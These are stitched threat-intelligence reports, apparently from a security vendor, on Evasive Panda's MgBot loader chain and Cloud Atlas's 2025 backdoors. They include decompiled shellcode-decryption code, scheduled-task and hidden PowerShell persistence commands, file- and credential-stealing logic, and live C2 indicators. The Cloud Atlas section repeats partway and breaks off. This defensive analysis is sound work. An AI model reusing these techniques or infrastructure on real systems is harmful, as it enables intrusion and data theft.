key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}

The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.

Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.

Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.

Secondary loader

We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.

The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.

The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.

General overview of storing payload on disk by using hybrid encryption

General overview of storing payload on disk by using hybrid encryption

This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.

The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.

After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.

Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.

Decryption of the configuration in the injected MgBot implant

Decryption of the configuration in the injected MgBot implant

Victims

Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.

Attribution

The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.

Conclusion

The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.

As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.

The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.

Indicators of compromise

File Hashes
c340195696d13642ecf20fbe75461bed sohuva_update_10.2.29.1-lup-s-tp.exe
7973e0694ab6545a044a49ff101d412a libpython2.4.dll
9e72410d61eaa4f24e0719b34d7cad19 (MgBot implant)

File Paths
C:\ProgramData\Microsoft\MF
C:\ProgramData\Microsoft\eHome\status.dat
C:\ProgramData\Microsoft\eHome\perf.dat

URLs and IPs
60.28.124[.]21     (MgBot C2)
123.139.57[.]103   (MgBot C2)
140.205.220[.]98   (MgBot C2)
112.80.248[.]27    (MgBot C2)
116.213.178[.]11   (MgBot C2)
60.29.226[.]181    (MgBot C2)
58.68.255[.]45     (MgBot C2)
61.135.185[.]29    (MgBot C2)
103.27.110[.]232   (MgBot C2)
117.121.133[.]33   (MgBot C2)
139.84.170[.]230   (MgBot C2)
103.96.130[.]107   (AitM C2)
158.247.214[.]28   (AitM C2)
106.126.3[.]78     (AitM C2)
106.126.3[.]56     (AitM C2)

Cloud Atlas activity in the first half of 2025: what changed

19 December 2025 at 11:00

Known since 2014, the Cloud Atlas group targets countries in Eastern Europe and Central Asia. Infections occur via phishing emails containing a malicious document that exploits an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. In this report, we describe the infection chain and tools that the group used in the first half of 2025, with particular focus on previously undescribed implants.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection

The starting point is typically a phishing email with a malicious DOC(X) attachment. When the document is opened, a malicious template is downloaded from a remote server. The document has the form of an RTF file containing an exploit for the formula editor, which downloads and executes an HTML Application (HTA) file.
Fpaylo

Malicious template with the exploit loaded by Word when opening the document

Malicious template with the exploit loaded by Word when opening the document

We were unable to obtain the actual RTF template with the exploit. We assume that after a successful infection of the victim, the link to this file becomes inaccessible. In the given example, the malicious RTF file containing the exploit was downloaded from the URL hxxps://securemodem[.]com?tzak.html_anacid.

Template files, like HTA files, are located on servers controlled by the group, and their downloading is limited both in time and by the IP addresses of the victims. The malicious HTA file extracts and creates several VBS files on disk that are parts of the VBShower backdoor. VBShower then downloads and installs other backdoors: PowerShower, VBCloud, and CloudAtlas.

This infection chain largely follows the one previously seen in Cloud Atlas’ 2024 attacks. The currently employed chain is presented below:

Malware execution flow

Malware execution flow

Several implants remain the same, with insignificant changes in file names, and so on. You can find more details in our previous article on the following implants:

In this research, we’ll focus on new and updated components.

VBShower

VBShower::Backdoor

Compared to the previous version, the backdoor runs additional downloaded VB scripts in the current context, regardless of the size. A previous modification of this script checked the size of the payload, and if it exceeded 1 MB, instead of executing it in the current context, the backdoor wrote it to disk and used the wscript utility to launch it.

VBShower::Payload (1)

The script collects information about running processes, including their creation time, caption, and command line. The collected information is encrypted and sent to the C2 server by the parent script (VBShower::Backdoor) via the v_buff variable.

VBShower::Payload (1)

VBShower::Payload (1)

VBShower::Payload (2)

The script is used to install the VBCloud implant. First, it downloads a ZIP archive from the hardcoded URL and unpacks it into the %Public% directory. Then, it creates a scheduler task named “MicrosoftEdgeUpdateTask” to run the following command line:

wscript.exe /B %Public%\Libraries\MicrosoftEdgeUpdate.vbs

It renames the unzipped file %Public%\Libraries\v.log to %Public%\Libraries\MicrosoftEdgeUpdate.vbs, iterates through the files in the %Public%\Libraries directory, and collects information about the filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The malware gets information about the task by executing the following command line:

cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftEdgeUpdateTask

The specified command line is executed, with the output redirected to the TMP file. Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).

Here is an example of the information present in the v_buff variable:

Libraries:
desktop.ini-175|
MicrosoftEdgeUpdate.vbs-2299|
RecordedTV.library-ms-999|
upgrade.mds-32840|
v.log-2299|

The file MicrosoftEdgeUpdate.vbs is a launcher for VBCloud, which reads the encrypted body of the backdoor from the file upgrade.mds, decrypts it, and executes it.

VBShower::Payload (2) used to install VBCloud

VBShower::Payload (2) used to install VBCloud

Almost the same script is used to install the CloudAtlas backdoor on an infected system. The script only downloads and unpacks the ZIP archive to "%LOCALAPPDATA%", and sends information about the contents of the directories "%LOCALAPPDATA%\vlc\plugins\access" and "%LOCALAPPDATA%\vlc" as output.

In this case, the file renaming operation is not applied, and there is no code for creating a scheduler task.

Here is an example of information to be sent to the C2 server:

vlc:
a.xml-969608|
b.xml-592960|
d.xml-2680200|
e.xml-185224||
access:
c.xml-5951488|

In fact, a.xml, d.xml, and e.xml are the executable file and libraries, respectively, of VLC Media Player. The c.xml file is a malicious library used in a DLL hijacking attack, where VLC acts as a loader, and the b.xml file is an encrypted body of the CloudAtlas backdoor, read from disk by the malicious library, decrypted, and executed.

VBShower::Payload (2) used to install CloudAtlas

VBShower::Payload (2) used to install CloudAtlas

VBShower::Payload (3)

This script is the next component for installing CloudAtlas. It is downloaded by VBShower from the C2 server as a separate file and executed after the VBShower::Payload (2) script. The script renames the XML files unpacked by VBShower::Payload (2) from the archive to the corresponding executables and libraries, and also renames the file containing the encrypted backdoor body.

These files are copied by VBShower::Payload (3) to the following paths:

File Path
a.xml %LOCALAPPDATA%\vlc\vlc.exe
b.xml %LOCALAPPDATA%\vlc\chambranle
c.xml %LOCALAPPDATA%\vlc\plugins\access\libvlc_plugin.dll
d.xml %LOCALAPPDATA%\vlc\libvlccore.dll
e.xml %LOCALAPPDATA%\vlc\libvlc.dll

Additionally, VBShower::Payload (3) creates a scheduler task to execute the command line: "%LOCALAPPDATA%\vlc\vlc.exe". The script then iterates through the files in the "%LOCALAPPDATA%\vlc" and "%LOCALAPPDATA%\vlc\plugins\access" directories, collecting information about filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The script also retrieves information about the task by executing the following command line, with the output redirected to a TMP file:

cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftVLCTaskMachine

Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).

VBShower::Payload (3) used to install CloudAtlas

VBShower::Payload (3) used to install CloudAtlas

VBShower::Payload (4)

This script was previously described as VBShower::Payload (1).

VBShower::Payload (5)

This script is used to check access to various cloud services and executed before installing VBCloud or CloudAtlas. It consistently accesses the URLs of cloud services, and the received HTTP responses are saved to the v_buff variable for subsequent sending to the C2 server. A truncated example of the information sent to the C2 server:

GET-https://webdav.yandex.ru|
200|
<!DOCTYPE html><html lang="ru" dir="ltr" class="desktop"><head><base href="...

VBShower::Payload (5)

VBShower::Payload (5)

VBShower::Payload (6)

This script was previously described as VBShower::Payload (2).

VBShower::Payload (7)

This is a small script for checking the accessibility of PowerShower’s C2 from an infected system.

VBShower::Payload (7)

VBShower::Payload (7)

VBShower::Payload (8)

This script is used to install PowerShower, another backdoor known to be employed by Cloud Atlas. The script does so by performing the following steps in sequence:

  1. Creates registry keys to make the console window appear off-screen, effectively hiding it:
    "HKCU\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe"::"WindowPosition"::5122
    "HKCU\UConsole\taskeng.exe"::"WindowPosition"::538126692
  2. Creates a “MicrosoftAdobeUpdateTaskMachine” scheduler task to execute the command line:
    powershell.exe -ep bypass -w 01 %APPDATA%\Adobe\AdobeMon.ps1
  3. Decrypts the contents of the embedded data block with XOR and saves the resulting script to the file "%APPDATA%\Adobe\p.txt". Then, renames the file "p.txt" to "AdobeMon.ps1".
  4. Collects information about file names and sizes in the path "%APPDATA%\Adobe". Gets information about the task by executing the following command line, with the output redirected to a TMP file:
    cmd.exe /c schtasks /query /v /fo LIST /tn MicrosoftAdobeUpdateTaskMachine
VBShower::Payload (8) used to install PowerShower

VBShower::Payload (8) used to install PowerShower

The decrypted PowerShell script is disguised as one of the standard modules, but at the end of the script, there is a command to launch the PowerShell interpreter with another script encoded in Base64.

Content of AdobeMon.ps1 (PowerShower)

Content of AdobeMon.ps1 (PowerShower)

VBShower::Payload (9)

This is a small script for collecting information about the system proxy settings.

VBShower::Payload (9)

VBShower::Payload (9)

VBCloud

On an infected system, VBCloud is represented by two files: a VB script (VBCloud::Launcher) and an encrypted main body (VBCloud::Backdoor). In the described case, the launcher is located in the file MicrosoftEdgeUpdate.vbs, and the payload — in upgrade.mds.

VBCloud::Launcher

The launcher script reads the contents of the upgrade.mds file, decodes characters delimited with “%H”, uses the RC4 stream encryption algorithm with a key built into the script to decrypt it, and transfers control to the decrypted content. It is worth noting that the implementation of RC4 uses PRGA (pseudo-random generation algorithm), which is quite rare, since most malware implementations of this algorithm skip this step.

VBCloud::Launcher

VBCloud::Launcher

VBCloud::Backdoor

The backdoor performs several actions in a loop to eventually download and execute additional malicious scripts, as described in the previous research.

VBCloud::Payload (FileGrabber)

Unlike VBShower, which uses a global variable to save its output or a temporary file to be sent to the C2 server, each VBCloud payload communicates with the C2 server independently. One of the most commonly used payloads for the VBCloud backdoor is FileGrabber. The script exfiltrates files and documents from the target system as described before.

The FileGrabber payload has the following limitations when scanning for files:

  • It ignores the following paths:
    • Program Files
    • Program Files (x86)
    • %SystemRoot%
  • The file size for archiving must be between 1,000 and 3,000,000 bytes.
  • The file’s last modification date must be less than 30 days before the start of the scan.
  • Files containing the following strings in their names are ignored:
    • “intermediate.txt”
    • “FlightingLogging.txt”
    • “log.txt”
    • “thirdpartynotices”
    • “ThirdPartyNotices”
    • “easylist.txt”
    • “acroNGLLog.txt”
    • “LICENSE.txt”
    • “signature.txt”
    • “AlternateServices.txt”
    • “scanwia.txt”
    • “scantwain.txt”
    • “SiteSecurityServiceState.txt”
    • “serviceworker.txt”
    • “SettingsCache.txt”
    • “NisLog.txt”
    • “AppCache”
    • “backupTest”
Part of VBCloud::Payload (FileGrabber)

Part of VBCloud::Payload (FileGrabber)

PowerShower

As mentioned above, PowerShower is installed via one of the VBShower payloads. This script launches the PowerShell interpreter with another script encoded in Base64. Running in an infinite loop, it attempts to access the C2 server to retrieve an additional payload, which is a PowerShell script twice encoded with Base64. This payload is executed in the context of the backdoor, and the execution result is sent to the C2 server via an HTTP POST request.

Decoded PowerShower script

Decoded PowerShower script

In previous versions of PowerShower, the payload created a sapp.xtx temporary file to save its output, which was sent to the C2 server by the main body of the backdoor. No intermediate files are created anymore, and the result of execution is returned to the backdoor by a normal call to the "return" operator.

PowerShower::Payload (1)

This script was previously described as PowerShower::Payload (2). This payload is unique to each victim.

PowerShower::Payload (2)

This script is used for grabbing files with metadata from a network share.

PowerShower::Payload (2)

PowerShower::Payload (2)

CloudAtlas

As described above, the CloudAtlas backdoor is installed via VBShower from a downloaded archive delivered through a DLL hijacking attack. The legitimate VLC application acts as a loader, accompanied by a malicious library that reads the encrypted payload from the file and transfers control to it. The malicious DLL is located at "%LOCALAPPDATA%\vlc\plugins\access", while the file with the encrypted payload is located at "%LOCALAPPDATA%\vlc\".

When the malicious DLL gains control, it first extracts another DLL from itself, places it in the memory of the current process, and transfers control to it. The unpacked DLL uses a byte-by-byte XOR operation to decrypt the block with the loader configuration. The encrypted config immediately follows the key. The config specifies the name of the event that is created to prevent a duplicate payload launch. The config also contains the name of the file where the encrypted payload is located — "chambranle" in this case — and the decryption key itself.

Encrypted and decrypted loader configuration

Encrypted and decrypted loader configuration

The library reads the contents of the "chambranle" file with the payload, uses the key from the decrypted config and the IV located at the very end of the "chambranle" file to decrypt it with AES-256-CBC. The decrypted file is another DLL with its size and SHA-1 hash embedded at the end, added to verify that the DLL is decrypted correctly. The DLL decrypted from "chambranle" is the main body of the CloudAtlas backdoor, and control is transferred to it via one of the exported functions, specifically the one with ordinal 2.

Main routine that processes the payload file

Main routine that processes the payload file

When the main body of the backdoor gains control, the first thing it does is decrypt its own configuration. Decryption is done in a similar way, using AES-256-CBC. The key for AES-256 is located before the configuration, and the IV is located right after it. The most useful information in the configuration file includes the URL of the cloud service, paths to directories for receiving payloads and unloading results, and credentials for the cloud service.

Encrypted and decrypted CloudAtlas backdoor config

Encrypted and decrypted CloudAtlas backdoor config

Immediately after decrypting the configuration, the backdoor starts interacting with the C2 server, which is a cloud service, via WebDAV. First, the backdoor uses the MKCOL HTTP method to create two directories: one ("/guessed/intershop/Euskalduns/") will regularly receive a beacon in the form of an encrypted file containing information about the system, time, user name, current command line, and volume information. The other directory ("/cancrenate/speciesists/") is used to retrieve payloads. The beacon file and payload files are AES-256-CBC encrypted with the key that was used for backdoor configuration decryption.

HTTP requests of the CloudAtlas backdoor

HTTP requests of the CloudAtlas backdoor

The backdoor uses the HTTP PROPFIND method to retrieve the list of files. Each of these files will be subsequently downloaded, deleted from the cloud service, decrypted, and executed.

HTTP requests from the CloudAtlas backdoor

HTTP requests from the CloudAtlas backdoor

The payload consists of data with a binary block containing a command number and arguments at the beginning, followed by an executable plugin in the form of a DLL. The structure of the arguments depends on the type of command. After the plugin is loaded into memory and configured, the backdoor calls the exported function with ordinal 1, passing several arguments: a pointer to the backdoor function that implements sending files to the cloud service, a pointer to the decrypted backdoor configuration, and a pointer to the binary block with the command and arguments from the beginning of the payload.

Plugin setup and execution routine

Plugin setup and execution routine

Before calling the plugin function, the backdoor saves the path to the current directory and restores it after the function is executed. Additionally, after execution, the plugin is removed from memory.

CloudAtlas::Plugin (FileGrabber)

FileGrabber is the most commonly used plugin. As the name suggests, it is designed to steal files from an infected system. Depending on the command block transmitted, it is capable of:

  • Stealing files from all local disks
  • Stealing files from the specified removable media
  • Stealing files from specified folders
  • Using the selected username and password from the command block to mount network resources and then steal files from them

For each detected file, a series of rules are generated based on the conditions passed within the command block, including:

  • Checking for minimum and maximum file size
  • Checking the file’s last modification time
  • Checking the file path for pattern exclusions. If a string pattern is found in the full path to a file, the file is ignored
  • Checking the file name or extension against a list of patterns
Resource scanning

Resource scanning

If all conditions match, the file is sent to the C2 server, along with its metadata, including attributes, creation time, last access time, last modification time, size, full path to the file, and SHA-1 of the file contents. Additionally, if a special flag is set in one of the rule fields, the file will be deleted after a copy is sent to the C2 server. There is also a limit on the total amount of data sent, and if this limit is exceeded, scanning of the resource stops.

Generating data for sending to C2

Generating data for sending to C2

CloudAtlas::Plugin (Common)

This is a general-purpose plugin, which parses the transferred block, splits it into commands, and executes them. Each command has its own ID, ranging from 0 to 6. The list of commands is presented below.

  1. Command ID 0: Creates, sets and closes named events.
  2. Command ID 1: Deletes the selected list of files.
  3. Command ID 2: Drops a file on disk with content and a path selected in the command block arguments.
  4. Command ID 3: Capable of performing several operations together or independently, including:
    1. Dropping several files on disk with content and paths selected in the command block arguments
    2. Dropping and executing a file at a specified path with selected parameters. This operation supports three types of launch:
    • Using the WinExec function
    • Using the ShellExecuteW function
    • Using the CreateProcessWithLogonW function, which requires that the user’s credentials be passed within the command block to launch the process on their behalf
  5. Command ID 4: Uses the StdRegProv COM interface to perform registry manipulations, supporting key creation, value deletion, and value setting (both DWORD and string values).
  6. Command ID 5: Calls the ExitProcess function.
  7. Command ID 6: Uses the credentials passed within the command block to connect a network resource, drops a file to the remote resource under the name specified within the command block, creates and runs a VB script on the local system to execute the dropped file on the remote system. The VB script is created at "%APPDATA%\ntsystmp.vbs". The path to launch the file dropped on the remote system is passed to the launched VB script as an argument.
Content of the dropped VBS

Content of the dropped VBS

CloudAtlas::Plugin (PasswordStealer)

This plugin is used to steal cookies and credentials from browsers. This is an extended version of the Common Plugin, which is used for more specific purposes. It can also drop, launch, and delete files, but its primary function is to drop files belonging to the “Chrome App-Bound Encryption Decryption” open-source project onto the disk, and run the utility to steal cookies and passwords from Chromium-based browsers. After launching the utility, several files ("cookies.txt" and "passwords.txt") containing the extracted browser data are created on disk. The plugin then reads JSON data from the selected files, parses the data, and sends the extracted information to the C2 server.

Part of the function for parsing JSON and sending the extracted data to C2

Part of the function for parsing JSON and sending the extracted data to C2

CloudAtlas::Plugin (InfoCollector)

This plugin is used to collect information about the infected system. The list of commands is presented below.

  1. Command ID 0xFFFFFFF0: Collects the computer’s NetBIOS name and domain information.
  2. Command ID 0xFFFFFFF1: Gets a list of processes, including full paths to executable files of processes, and a list of modules (DLLs) loaded into each process.
  3. Command ID 0xFFFFFFF2: Collects information about installed products.
  4. Command ID 0xFFFFFFF3: Collects device information.
  5. Command ID 0xFFFFFFF4: Collects information about logical drives.
  6. Command ID 0xFFFFFFF5: Executes the command with input/output redirection, and sends the output to the C2 server. If the command line for execution is not specified, it sequentially launches the following utilities and sends their output to the C2 server:
net group "Exchange servers" /domain
Ipconfig
arp -a

Python script

As mentioned in one of our previous reports, Cloud Atlas uses a custom Python script named get_browser_pass.py to extract saved credentials from browsers on infected systems. If the Python interpreter is not present on the victim’s machine, the group delivers an archive that includes both the script and a bundled Python interpreter to ensure execution.

During one of the latest incidents we investigated, we once again observed traces of this tool in action, specifically the presence of the file "C:\ProgramData\py\pytest.dll".

The pytest.dll library is called from within get_browser_pass.py and used to extract credentials from Yandex Browser. The data is then saved locally to a file named y3.txt.

Victims

According to our telemetry, the identified targets of the malicious activities described here are located in Russia and Belarus, with observed activity dating back to the beginning of 2025. The industries being targeted are diverse, encompassing organizations in the telecommunications sector, construction, government entities, and plants.

Conclusion

For more than ten years, the group has carried on its activities and expanded its arsenal. Now the attackers have four implants at their disposal (PowerShower, VBShower, VBCloud, CloudAtlas), each of them a full-fledged backdoor. Most of the functionality in the backdoors is duplicated, but some payloads provide various exclusive capabilities. The use of cloud services to manage backdoors is a distinctive feature of the group, and it has proven itself in various attacks.

Indicators of compromise

Note: The indicators in this section are valid at the time of publication.

File hashes

0D309C25A835BAF3B0C392AC87504D9E    протокол (08.05.2025).doc
D34AAEB811787B52EC45122EC10AEB08    HTA
4F7C5088BCDF388C49F9CAAD2CCCDCC5    StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145cfcf.vbs
5C93AF19EF930352A251B5E1B2AC2519    StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145.dat (encrypted)
0E13FA3F06607B1392A3C3CAA8092C98    VBShower::Payload(1)
BC80C582D21AC9E98CBCA2F0637D8993    VBShower::Payload(2)
12F1F060DF0C1916E6D5D154AF925426    VBShower::Payload(3)
E8C21CA9A5B721F5B0AB7C87294A2D72    VBShower::Payload(4)
2D03F1646971FB7921E31B647586D3FB    VBShower::Payload(5)
7A85873661B50EA914E12F0523527CFA    VBShower::Payload(6)
F31CE101CBE25ACDE328A8C326B9444A    VBShower::Payload(7)
E2F3E5BF7EFBA58A9C371E2064DFD0BB    VBShower::Payload(8)
67156D9D0784245AF0CAE297FC458AAC    VBShower::Payload(9)
116E5132E30273DA7108F23A622646FE    VBCloud::Launcher
E9F60941A7CED1A91643AF9D8B92A36D    VBCloud::Payload(FileGrabber)
718B9E688AF49C2E1984CF6472B23805    PowerShower
A913EF515F5DC8224FCFFA33027EB0DD    PowerShower::Payload(2)
BAA59BB050A12DBDF981193D88079232    chambranle (encrypted)

Domains and IPs

billet-ru[.]net
mskreg[.]net
flashsupport[.]org
solid-logit[.]com
cityru-travel[.]org
transferpolicy[.]org
information-model[.]net
securemodem[.]com

Cloud Atlas activity in the first half of 2025: what changed

19 December 2025 at 11:00

Known since 2014, the Cloud Atlas group targets countries in Eastern Europe and Central Asia. Infections occur via phishing emails containing a malicious document that exploits an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. In this report, we describe the infection chain and tools that the group used in the first half of 2025, with particular focus on previously undescribed implants.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection

The starting point is typically a phishing email with a malicious DOC(X) attachment. When the document is opened, a malicious template is downloaded from a remote server. The document has the form of an RTF file containing an exploit for the formula editor, which downloads and executes an HTML Application (HTA) file.
Fpaylo

Malicious template with the exploit loaded by Word when opening the document

Malicious template with the exploit loaded by Word when opening the document

We were unable to obtain the actual RTF template with the exploit. We assume that after a successful infection of the victim, the link to this file becomes inaccessible. In the given example, the malicious RTF file containing the exploit was downloaded from the URL hxxps://securemodem[.]com?tzak.html_anacid.

Template files, like HTA files, are located on servers controlled by the group, and their downloading is limited both in time and by the IP addresses of the victims. The malicious HTA file extracts and creates several VBS files on disk that are parts of the VBShower backdoor. VBShower then downloads and installs other backdoors: PowerShower, VBCloud, and CloudAtlas.

This infection chain largely follows the one previously seen in Cloud Atlas’ 2024 attacks. The currently employed chain is presented below:

Malware execution flow

Malware execution flow

Several implants remain the same, with insignificant changes in file names, and so on. You can find more details in our previous article on the following implants:

In this research, we’ll focus on new and updated components.

VBShower

VBShower::Backdoor

Compared to the previous version, the backdoor runs additional downloaded VB scripts in the current context, regardless of the size. A previous modification of this script checked the size of the payload, and if it exceeded 1 MB, instead of executing it in the current context, the backdoor wrote it to disk and used the wscript utility to launch it.

VBShower::Payload (1)

The script collects information about running processes, including their creation time, caption, and command line. The collected information is encrypted and sent to the C2 server by the parent script (VBShower::Backdoor) via the v_buff variable.

VBShower::Payload (1)

VBShower::Payload (1)

VBShower::Payload (2)

The script is used to install the VBCloud implant. First, it downloads a ZIP archive from the hardcoded URL and unpacks it into the %Public% directory. Then, it creates a scheduler task named “MicrosoftEdgeUpdateTask” to run the following command line:

wscript.exe /B %Public%\Libraries\MicrosoftEdgeUpdate.vbs

It renames the unzipped file %Public%\Libraries\v.log to %Public%\Libraries\MicrosoftEdgeUpdate.vbs, iterates through the files in the %Public%\Libraries directory, and collects information about the filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The malware gets information about the task by executing the following command line:

cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftEdgeUpdateTask

The specified command line is executed, with the output redirected to the TMP file. Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).

Here is an example of the information present in the v_buff variable:

Libraries:
desktop.ini-175|
MicrosoftEdgeUpdate.vbs-2299|
RecordedTV.library-ms-999|
upgrade.mds-32840|
v.log-2299|

The file MicrosoftEdgeUpdate.vbs is a launcher for VBCloud, which reads the encrypted body of the backdoor from the file upgrade.mds, decrypts it, and executes it.

VBShower::Payload (2) used to install VBCloud

VBShower::Payload (2) used to install VBCloud

Almost the same script is used to install the CloudAtlas backdoor on an infected system. The script only downloads and unpacks the ZIP archive to "%LOCALAPPDATA%", and sends information about the contents of the directories "%LOCALAPPDATA%\vlc\plugins\access" and "%LOCALAPPDATA%\vlc" as output.

In this case, the file renaming operation is not applied, and there is no code for creating a scheduler task.

Here is an example of information to be sent to the C2 server:

vlc:
a.xml-969608|
b.xml-592960|
d.xml-2680200|
e.xml-185224||
access:
c.xml-5951488|

In fact, a.xml, d.xml, and e.xml are the executable file and libraries, respectively, of VLC Media Player. The c.xml file is a malicious library used in a DLL hijacking attack, where VLC acts as a loader, and the b.xml file is an encrypted body of the CloudAtlas backdoor, read from disk by the malicious library, decrypted, and executed.

VBShower::Payload (2) used to install CloudAtlas

VBShower::Payload (2) used to install CloudAtlas

VBShower::Payload (3)

This script is the next component for installing CloudAtlas. It is downloaded by VBShower from the C2 server as a separate file and executed after the VBShower::Payload (2) script. The script renames the XML files unpacked by VBShower::Payload (2) from the archive to the corresponding executables and libraries, and also renames the file containing the encrypted backdoor body.

These files are copied by VBShower::Payload (3) to the following paths:

File Path
a.xml %LOCALAPPDATA%\vlc\vlc.exe
b.xml %LOCALAPPDATA%\vlc\chambranle
c.xml %LOCALAPPDATA%\vlc\plugins\access\libvlc_plugin.dll
d.xml %LOCALAPPDATA%\vlc\libvlccore.dll
e.xml %LOCALAPPDATA%\vlc\libvlc.dll

Additionally, VBShower::Payload (3) creates a scheduler task to execute the command line: "%LOCALAPPDATA%\vlc\vlc.exe". The script then iterates through the files in the "%LOCALAPPDATA%\vlc" and "%LOCALAPPDATA%\vlc\plugins\access" directories, collecting information about filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The script also retrieves information about the task by executing the following command line, with the output redirected to a TMP file:

cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftVLCTaskMachine

Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).

VBShower::Payload (3) used to install CloudAtlas

VBShower::Payload (3) used to install CloudAtlas

VBShower::Payload (4)

